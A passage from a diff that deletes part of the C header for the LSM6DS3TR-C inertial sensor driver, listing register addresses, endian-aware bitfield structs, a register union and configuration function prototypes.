lsm6ds3tr_c_fifo_status2_t; - -#define LSM6DS3TR_C_FIFO_STATUS3 0x3CU -typedef struct { - uint8_t fifo_pattern : 8; /* + FIFO_STATUS4(fifo_pattern) */ -} lsm6ds3tr_c_fifo_status3_t; - -#define LSM6DS3TR_C_FIFO_STATUS4 0x3DU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t fifo_pattern : 2; /* + FIFO_STATUS3(fifo_pattern) */ - uint8_t not_used_01 : 6; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_01 : 6; - uint8_t fifo_pattern : 2; /* + FIFO_STATUS3(fifo_pattern) */ -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_fifo_status4_t; - -#define LSM6DS3TR_C_FIFO_DATA_OUT_L 0x3EU -#define LSM6DS3TR_C_FIFO_DATA_OUT_H 0x3FU -#define LSM6DS3TR_C_TIMESTAMP0_REG 0x40U -#define LSM6DS3TR_C_TIMESTAMP1_REG 0x41U -#define LSM6DS3TR_C_TIMESTAMP2_REG 0x42U -#define LSM6DS3TR_C_STEP_TIMESTAMP_L 0x49U -#define LSM6DS3TR_C_STEP_TIMESTAMP_H 0x4AU -#define LSM6DS3TR_C_STEP_COUNTER_L 0x4BU -#define LSM6DS3TR_C_STEP_COUNTER_H 0x4CU - -#define LSM6DS3TR_C_SENSORHUB13_REG 0x4DU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub13_reg_t; - -#define LSM6DS3TR_C_SENSORHUB14_REG 0x4EU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub14_reg_t; - -#define LSM6DS3TR_C_SENSORHUB15_REG 0x4FU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub15_reg_t; - -#define LSM6DS3TR_C_SENSORHUB16_REG 0x50U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub16_reg_t; - -#define LSM6DS3TR_C_SENSORHUB17_REG 0x51U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub17_reg_t; - -#define LSM6DS3TR_C_SENSORHUB18_REG 0x52U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t bit0 : 1; - uint8_t bit1 : 1; - uint8_t bit2 : 1; - uint8_t bit3 : 1; - uint8_t bit4 : 1; - uint8_t bit5 : 1; - uint8_t bit6 : 1; - uint8_t bit7 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t bit7 : 1; - uint8_t bit6 : 1; - uint8_t bit5 : 1; - uint8_t bit4 : 1; - uint8_t bit3 : 1; - uint8_t bit2 : 1; - uint8_t bit1 : 1; - uint8_t bit0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_sensorhub18_reg_t; - -#define LSM6DS3TR_C_FUNC_SRC1 0x53U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t sensorhub_end_op : 1; - uint8_t si_end_op : 1; - uint8_t hi_fail : 1; - uint8_t step_overflow : 1; - uint8_t step_detected : 1; - uint8_t tilt_ia : 1; - uint8_t sign_motion_ia : 1; - uint8_t step_count_delta_ia : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t step_count_delta_ia : 1; - uint8_t sign_motion_ia : 1; - uint8_t tilt_ia : 1; - uint8_t step_detected : 1; - uint8_t step_overflow : 1; - uint8_t hi_fail : 1; - uint8_t si_end_op : 1; - uint8_t sensorhub_end_op : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_func_src1_t; - -#define LSM6DS3TR_C_FUNC_SRC2 0x54U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t wrist_tilt_ia : 1; - uint8_t not_used_01 : 2; - uint8_t slave0_nack : 1; - uint8_t slave1_nack : 1; - uint8_t slave2_nack : 1; - uint8_t slave3_nack : 1; - uint8_t not_used_02 : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t not_used_02 : 1; - uint8_t slave3_nack : 1; - uint8_t slave2_nack : 1; - uint8_t slave1_nack : 1; - uint8_t slave0_nack : 1; - uint8_t not_used_01 : 2; - uint8_t wrist_tilt_ia : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_func_src2_t; - -#define LSM6DS3TR_C_WRIST_TILT_IA 0x55U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t not_used_01 : 2; - uint8_t wrist_tilt_ia_zneg : 1; - uint8_t wrist_tilt_ia_zpos : 1; - uint8_t wrist_tilt_ia_yneg : 1; - uint8_t wrist_tilt_ia_ypos : 1; - uint8_t wrist_tilt_ia_xneg : 1; - uint8_t wrist_tilt_ia_xpos : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t wrist_tilt_ia_xpos : 1; - uint8_t wrist_tilt_ia_xneg : 1; - uint8_t wrist_tilt_ia_ypos : 1; - uint8_t wrist_tilt_ia_yneg : 1; - uint8_t wrist_tilt_ia_zpos : 1; - uint8_t wrist_tilt_ia_zneg : 1; - uint8_t not_used_01 : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_wrist_tilt_ia_t; - -#define LSM6DS3TR_C_TAP_CFG 0x58U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t lir : 1; - uint8_t tap_z_en : 1; - uint8_t tap_y_en : 1; - uint8_t tap_x_en : 1; - uint8_t slope_fds : 1; - uint8_t inact_en : 2; - uint8_t interrupts_enable : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t interrupts_enable : 1; - uint8_t inact_en : 2; - uint8_t slope_fds : 1; - uint8_t tap_x_en : 1; - uint8_t tap_y_en : 1; - uint8_t tap_z_en : 1; - uint8_t lir : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_tap_cfg_t; - -#define LSM6DS3TR_C_TAP_THS_6D 0x59U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t tap_ths : 5; - uint8_t sixd_ths : 2; - uint8_t d4d_en : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t d4d_en : 1; - uint8_t sixd_ths : 2; - uint8_t tap_ths : 5; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_tap_ths_6d_t; - -#define LSM6DS3TR_C_INT_DUR2 0x5AU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t shock : 2; - uint8_t quiet : 2; - uint8_t dur : 4; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t dur : 4; - uint8_t quiet : 2; - uint8_t shock : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_int_dur2_t; - -#define LSM6DS3TR_C_WAKE_UP_THS 0x5BU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t wk_ths : 6; - uint8_t not_used_01 : 1; - uint8_t single_double_tap : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t single_double_tap : 1; - uint8_t not_used_01 : 1; - uint8_t wk_ths : 6; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_wake_up_ths_t; - -#define LSM6DS3TR_C_WAKE_UP_DUR 0x5CU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t sleep_dur : 4; - uint8_t timer_hr : 1; - uint8_t wake_dur : 2; - uint8_t ff_dur : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t ff_dur : 1; - uint8_t wake_dur : 2; - uint8_t timer_hr : 1; - uint8_t sleep_dur : 4; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_wake_up_dur_t; - -#define LSM6DS3TR_C_FREE_FALL 0x5DU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t ff_ths : 3; - uint8_t ff_dur : 5; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t ff_dur : 5; - uint8_t ff_ths : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_free_fall_t; - -#define LSM6DS3TR_C_MD1_CFG 0x5EU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t int1_timer : 1; - uint8_t int1_tilt : 1; - uint8_t int1_6d : 1; - uint8_t int1_double_tap : 1; - uint8_t int1_ff : 1; - uint8_t int1_wu : 1; - uint8_t int1_single_tap : 1; - uint8_t int1_inact_state : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t int1_inact_state : 1; - uint8_t int1_single_tap : 1; - uint8_t int1_wu : 1; - uint8_t int1_ff : 1; - uint8_t int1_double_tap : 1; - uint8_t int1_6d : 1; - uint8_t int1_tilt : 1; - uint8_t int1_timer : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_md1_cfg_t; - -#define LSM6DS3TR_C_MD2_CFG 0x5FU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t int2_iron : 1; - uint8_t int2_tilt : 1; - uint8_t int2_6d : 1; - uint8_t int2_double_tap : 1; - uint8_t int2_ff : 1; - uint8_t int2_wu : 1; - uint8_t int2_single_tap : 1; - uint8_t int2_inact_state : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t int2_inact_state : 1; - uint8_t int2_single_tap : 1; - uint8_t int2_wu : 1; - uint8_t int2_ff : 1; - uint8_t int2_double_tap : 1; - uint8_t int2_6d : 1; - uint8_t int2_tilt : 1; - uint8_t int2_iron : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_md2_cfg_t; - -#define LSM6DS3TR_C_MASTER_CMD_CODE 0x60U -typedef struct { - uint8_t master_cmd_code : 8; -} lsm6ds3tr_c_master_cmd_code_t; - -#define LSM6DS3TR_C_SENS_SYNC_SPI_ERROR_CODE 0x61U -typedef struct { - uint8_t error_code : 8; -} lsm6ds3tr_c_sens_sync_spi_error_code_t; - -#define LSM6DS3TR_C_OUT_MAG_RAW_X_L 0x66U -#define LSM6DS3TR_C_OUT_MAG_RAW_X_H 0x67U -#define LSM6DS3TR_C_OUT_MAG_RAW_Y_L 0x68U -#define LSM6DS3TR_C_OUT_MAG_RAW_Y_H 0x69U -#define LSM6DS3TR_C_OUT_MAG_RAW_Z_L 0x6AU -#define LSM6DS3TR_C_OUT_MAG_RAW_Z_H 0x6BU -#define LSM6DS3TR_C_X_OFS_USR 0x73U -#define LSM6DS3TR_C_Y_OFS_USR 0x74U -#define LSM6DS3TR_C_Z_OFS_USR 0x75U -#define LSM6DS3TR_C_SLV0_ADD 0x02U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t rw_0 : 1; - uint8_t slave0_add : 7; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave0_add : 7; - uint8_t rw_0 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slv0_add_t; - -#define LSM6DS3TR_C_SLV0_SUBADD 0x03U -typedef struct { - uint8_t slave0_reg : 8; -} lsm6ds3tr_c_slv0_subadd_t; - -#define LSM6DS3TR_C_SLAVE0_CONFIG 0x04U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t slave0_numop : 3; - uint8_t src_mode : 1; - uint8_t aux_sens_on : 2; - uint8_t slave0_rate : 2; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave0_rate : 2; - uint8_t aux_sens_on : 2; - uint8_t src_mode : 1; - uint8_t slave0_numop : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slave0_config_t; - -#define LSM6DS3TR_C_SLV1_ADD 0x05U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t r_1 : 1; - uint8_t slave1_add : 7; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave1_add : 7; - uint8_t r_1 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slv1_add_t; - -#define LSM6DS3TR_C_SLV1_SUBADD 0x06U -typedef struct { - uint8_t slave1_reg : 8; -} lsm6ds3tr_c_slv1_subadd_t; - -#define LSM6DS3TR_C_SLAVE1_CONFIG 0x07U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t slave1_numop : 3; - uint8_t not_used_01 : 2; - uint8_t write_once : 1; - uint8_t slave1_rate : 2; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave1_rate : 2; - uint8_t write_once : 1; - uint8_t not_used_01 : 2; - uint8_t slave1_numop : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slave1_config_t; - -#define LSM6DS3TR_C_SLV2_ADD 0x08U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t r_2 : 1; - uint8_t slave2_add : 7; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave2_add : 7; - uint8_t r_2 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slv2_add_t; - -#define LSM6DS3TR_C_SLV2_SUBADD 0x09U -typedef struct { - uint8_t slave2_reg : 8; -} lsm6ds3tr_c_slv2_subadd_t; - -#define LSM6DS3TR_C_SLAVE2_CONFIG 0x0AU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t slave2_numop : 3; - uint8_t not_used_01 : 3; - uint8_t slave2_rate : 2; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave2_rate : 2; - uint8_t not_used_01 : 3; - uint8_t slave2_numop : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slave2_config_t; - -#define LSM6DS3TR_C_SLV3_ADD 0x0BU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t r_3 : 1; - uint8_t slave3_add : 7; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave3_add : 7; - uint8_t r_3 : 1; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slv3_add_t; - -#define LSM6DS3TR_C_SLV3_SUBADD 0x0CU -typedef struct { - uint8_t slave3_reg : 8; -} lsm6ds3tr_c_slv3_subadd_t; - -#define LSM6DS3TR_C_SLAVE3_CONFIG 0x0DU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t slave3_numop : 3; - uint8_t not_used_01 : 3; - uint8_t slave3_rate : 2; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t slave3_rate : 2; - uint8_t not_used_01 : 3; - uint8_t slave3_numop : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_slave3_config_t; - -#define LSM6DS3TR_C_DATAWRITE_SRC_MODE_SUB_SLV0 0x0EU -typedef struct { - uint8_t slave_dataw : 8; -} lsm6ds3tr_c_datawrite_src_mode_sub_slv0_t; - -#define LSM6DS3TR_C_CONFIG_PEDO_THS_MIN 0x0FU -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t ths_min : 5; - uint8_t not_used_01 : 2; - uint8_t pedo_fs : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t pedo_fs : 1; - uint8_t not_used_01 : 2; - uint8_t ths_min : 5; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_config_pedo_ths_min_t; - -#define LSM6DS3TR_C_SM_THS 0x13U -#define LSM6DS3TR_C_PEDO_DEB_REG 0x14U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t deb_step : 3; - uint8_t deb_time : 5; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t deb_time : 5; - uint8_t deb_step : 3; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_pedo_deb_reg_t; - -#define LSM6DS3TR_C_STEP_COUNT_DELTA 0x15U -#define LSM6DS3TR_C_MAG_SI_XX 0x24U -#define LSM6DS3TR_C_MAG_SI_XY 0x25U -#define LSM6DS3TR_C_MAG_SI_XZ 0x26U -#define LSM6DS3TR_C_MAG_SI_YX 0x27U -#define LSM6DS3TR_C_MAG_SI_YY 0x28U -#define LSM6DS3TR_C_MAG_SI_YZ 0x29U -#define LSM6DS3TR_C_MAG_SI_ZX 0x2AU -#define LSM6DS3TR_C_MAG_SI_ZY 0x2BU -#define LSM6DS3TR_C_MAG_SI_ZZ 0x2CU -#define LSM6DS3TR_C_MAG_OFFX_L 0x2DU -#define LSM6DS3TR_C_MAG_OFFX_H 0x2EU -#define LSM6DS3TR_C_MAG_OFFY_L 0x2FU -#define LSM6DS3TR_C_MAG_OFFY_H 0x30U -#define LSM6DS3TR_C_MAG_OFFZ_L 0x31U -#define LSM6DS3TR_C_MAG_OFFZ_H 0x32U -#define LSM6DS3TR_C_A_WRIST_TILT_LAT 0x50U -#define LSM6DS3TR_C_A_WRIST_TILT_THS 0x54U -#define LSM6DS3TR_C_A_WRIST_TILT_MASK 0x59U -typedef struct { -#if DRV_BYTE_ORDER == DRV_LITTLE_ENDIAN - uint8_t not_used_01 : 2; - uint8_t wrist_tilt_mask_zneg : 1; - uint8_t wrist_tilt_mask_zpos : 1; - uint8_t wrist_tilt_mask_yneg : 1; - uint8_t wrist_tilt_mask_ypos : 1; - uint8_t wrist_tilt_mask_xneg : 1; - uint8_t wrist_tilt_mask_xpos : 1; -#elif DRV_BYTE_ORDER == DRV_BIG_ENDIAN - uint8_t wrist_tilt_mask_xpos : 1; - uint8_t wrist_tilt_mask_xneg : 1; - uint8_t wrist_tilt_mask_ypos : 1; - uint8_t wrist_tilt_mask_yneg : 1; - uint8_t wrist_tilt_mask_zpos : 1; - uint8_t wrist_tilt_mask_zneg : 1; - uint8_t not_used_01 : 2; -#endif /* DRV_BYTE_ORDER */ -} lsm6ds3tr_c_a_wrist_tilt_mask_t; - -/** - * @defgroup LSM6DS3TR_C_Register_Union - * @brief This union group all the registers having a bit-field - * description. - * This union is useful but it's not needed by the driver. - * - * REMOVING this union you are compliant with: - * MISRA-C 2012 [Rule 19.2] -> " Union are not allowed " - * - * @{ - * - */ -typedef union { - lsm6ds3tr_c_func_cfg_access_t func_cfg_access; - lsm6ds3tr_c_sensor_sync_time_frame_t sensor_sync_time_frame; - lsm6ds3tr_c_sensor_sync_res_ratio_t sensor_sync_res_ratio; - lsm6ds3tr_c_fifo_ctrl1_t fifo_ctrl1; - lsm6ds3tr_c_fifo_ctrl2_t fifo_ctrl2; - lsm6ds3tr_c_fifo_ctrl3_t fifo_ctrl3; - lsm6ds3tr_c_fifo_ctrl4_t fifo_ctrl4; - lsm6ds3tr_c_fifo_ctrl5_t fifo_ctrl5; - lsm6ds3tr_c_drdy_pulse_cfg_g_t drdy_pulse_cfg_g; - lsm6ds3tr_c_int1_ctrl_t int1_ctrl; - lsm6ds3tr_c_int2_ctrl_t int2_ctrl; - lsm6ds3tr_c_ctrl1_xl_t ctrl1_xl; - lsm6ds3tr_c_ctrl2_g_t ctrl2_g; - lsm6ds3tr_c_ctrl3_c_t ctrl3_c; - lsm6ds3tr_c_ctrl4_c_t ctrl4_c; - lsm6ds3tr_c_ctrl5_c_t ctrl5_c; - lsm6ds3tr_c_ctrl6_c_t ctrl6_c; - lsm6ds3tr_c_ctrl7_g_t ctrl7_g; - lsm6ds3tr_c_ctrl8_xl_t ctrl8_xl; - lsm6ds3tr_c_ctrl9_xl_t ctrl9_xl; - lsm6ds3tr_c_ctrl10_c_t ctrl10_c; - lsm6ds3tr_c_master_config_t master_config; - lsm6ds3tr_c_wake_up_src_t wake_up_src; - lsm6ds3tr_c_tap_src_t tap_src; - lsm6ds3tr_c_d6d_src_t d6d_src; - lsm6ds3tr_c_status_reg_t status_reg; - lsm6ds3tr_c_sensorhub1_reg_t sensorhub1_reg; - lsm6ds3tr_c_sensorhub2_reg_t sensorhub2_reg; - lsm6ds3tr_c_sensorhub3_reg_t sensorhub3_reg; - lsm6ds3tr_c_sensorhub4_reg_t sensorhub4_reg; - lsm6ds3tr_c_sensorhub5_reg_t sensorhub5_reg; - lsm6ds3tr_c_sensorhub6_reg_t sensorhub6_reg; - lsm6ds3tr_c_sensorhub7_reg_t sensorhub7_reg; - lsm6ds3tr_c_sensorhub8_reg_t sensorhub8_reg; - lsm6ds3tr_c_sensorhub9_reg_t sensorhub9_reg; - lsm6ds3tr_c_sensorhub10_reg_t sensorhub10_reg; - lsm6ds3tr_c_sensorhub11_reg_t sensorhub11_reg; - lsm6ds3tr_c_sensorhub12_reg_t sensorhub12_reg; - lsm6ds3tr_c_fifo_status1_t fifo_status1; - lsm6ds3tr_c_fifo_status2_t fifo_status2; - lsm6ds3tr_c_fifo_status3_t fifo_status3; - lsm6ds3tr_c_fifo_status4_t fifo_status4; - lsm6ds3tr_c_sensorhub13_reg_t sensorhub13_reg; - lsm6ds3tr_c_sensorhub14_reg_t sensorhub14_reg; - lsm6ds3tr_c_sensorhub15_reg_t sensorhub15_reg; - lsm6ds3tr_c_sensorhub16_reg_t sensorhub16_reg; - lsm6ds3tr_c_sensorhub17_reg_t sensorhub17_reg; - lsm6ds3tr_c_sensorhub18_reg_t sensorhub18_reg; - lsm6ds3tr_c_func_src1_t func_src1; - lsm6ds3tr_c_func_src2_t func_src2; - lsm6ds3tr_c_wrist_tilt_ia_t wrist_tilt_ia; - lsm6ds3tr_c_tap_cfg_t tap_cfg; - lsm6ds3tr_c_tap_ths_6d_t tap_ths_6d; - lsm6ds3tr_c_int_dur2_t int_dur2; - lsm6ds3tr_c_wake_up_ths_t wake_up_ths; - lsm6ds3tr_c_wake_up_dur_t wake_up_dur; - lsm6ds3tr_c_free_fall_t free_fall; - lsm6ds3tr_c_md1_cfg_t md1_cfg; - lsm6ds3tr_c_md2_cfg_t md2_cfg; - lsm6ds3tr_c_master_cmd_code_t master_cmd_code; - lsm6ds3tr_c_sens_sync_spi_error_code_t sens_sync_spi_error_code; - lsm6ds3tr_c_slv0_add_t slv0_add; - lsm6ds3tr_c_slv0_subadd_t slv0_subadd; - lsm6ds3tr_c_slave0_config_t slave0_config; - lsm6ds3tr_c_slv1_add_t slv1_add; - lsm6ds3tr_c_slv1_subadd_t slv1_subadd; - lsm6ds3tr_c_slave1_config_t slave1_config; - lsm6ds3tr_c_slv2_add_t slv2_add; - lsm6ds3tr_c_slv2_subadd_t slv2_subadd; - lsm6ds3tr_c_slave2_config_t slave2_config; - lsm6ds3tr_c_slv3_add_t slv3_add; - lsm6ds3tr_c_slv3_subadd_t slv3_subadd; - lsm6ds3tr_c_slave3_config_t slave3_config; - lsm6ds3tr_c_datawrite_src_mode_sub_slv0_t datawrite_src_mode_sub_slv0; - lsm6ds3tr_c_config_pedo_ths_min_t config_pedo_ths_min; - lsm6ds3tr_c_pedo_deb_reg_t pedo_deb_reg; - lsm6ds3tr_c_a_wrist_tilt_mask_t a_wrist_tilt_mask; - bitwise_t bitwise; - uint8_t byte; -} lsm6ds3tr_c_reg_t; - -/** - * @} - * - */ - -int32_t lsm6ds3tr_c_read_reg(stmdev_ctx_t* ctx, uint8_t reg, uint8_t* data, uint16_t len); -int32_t lsm6ds3tr_c_write_reg(stmdev_ctx_t* ctx, uint8_t reg, uint8_t* data, uint16_t len); - -float_t lsm6ds3tr_c_from_fs2g_to_mg(int16_t lsb); -float_t lsm6ds3tr_c_from_fs4g_to_mg(int16_t lsb); -float_t lsm6ds3tr_c_from_fs8g_to_mg(int16_t lsb); -float_t lsm6ds3tr_c_from_fs16g_to_mg(int16_t lsb); - -float_t lsm6ds3tr_c_from_fs125dps_to_mdps(int16_t lsb); -float_t lsm6ds3tr_c_from_fs250dps_to_mdps(int16_t lsb); -float_t lsm6ds3tr_c_from_fs500dps_to_mdps(int16_t lsb); -float_t lsm6ds3tr_c_from_fs1000dps_to_mdps(int16_t lsb); -float_t lsm6ds3tr_c_from_fs2000dps_to_mdps(int16_t lsb); - -float_t lsm6ds3tr_c_from_lsb_to_celsius(int16_t lsb); - -typedef enum { - LSM6DS3TR_C_2g = 0, - LSM6DS3TR_C_16g = 1, - LSM6DS3TR_C_4g = 2, - LSM6DS3TR_C_8g = 3, - LSM6DS3TR_C_XL_FS_ND = 4, /* ERROR CODE */ -} lsm6ds3tr_c_fs_xl_t; -int32_t lsm6ds3tr_c_xl_full_scale_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_xl_t val); -int32_t lsm6ds3tr_c_xl_full_scale_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_xl_t* val); - -typedef enum { - LSM6DS3TR_C_XL_ODR_OFF = 0, - LSM6DS3TR_C_XL_ODR_12Hz5 = 1, - LSM6DS3TR_C_XL_ODR_26Hz = 2, - LSM6DS3TR_C_XL_ODR_52Hz = 3, - LSM6DS3TR_C_XL_ODR_104Hz = 4, - LSM6DS3TR_C_XL_ODR_208Hz = 5, - LSM6DS3TR_C_XL_ODR_416Hz = 6, - LSM6DS3TR_C_XL_ODR_833Hz = 7, - LSM6DS3TR_C_XL_ODR_1k66Hz = 8, - LSM6DS3TR_C_XL_ODR_3k33Hz = 9, - LSM6DS3TR_C_XL_ODR_6k66Hz = 10, - LSM6DS3TR_C_XL_ODR_1Hz6 = 11, - LSM6DS3TR_C_XL_ODR_ND = 12, /* ERROR CODE */ -} lsm6ds3tr_c_odr_xl_t; -int32_t lsm6ds3tr_c_xl_data_rate_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_xl_t val); -int32_t lsm6ds3tr_c_xl_data_rate_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_odr_xl_t* val); - -typedef enum { - LSM6DS3TR_C_250dps = 0, - LSM6DS3TR_C_125dps = 1, - LSM6DS3TR_C_500dps = 2, - LSM6DS3TR_C_1000dps = 4, - LSM6DS3TR_C_2000dps = 6, - LSM6DS3TR_C_GY_FS_ND = 7, /* ERROR CODE */ -} lsm6ds3tr_c_fs_g_t; -int32_t lsm6ds3tr_c_gy_full_scale_set(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_g_t val); -int32_t lsm6ds3tr_c_gy_full_scale_get(stmdev_ctx_t* ctx, lsm6ds3tr_c_fs_g_t* val); - -typedef enum { - LSM6DS3TR_C_GY_ODR_OFF = 0, - 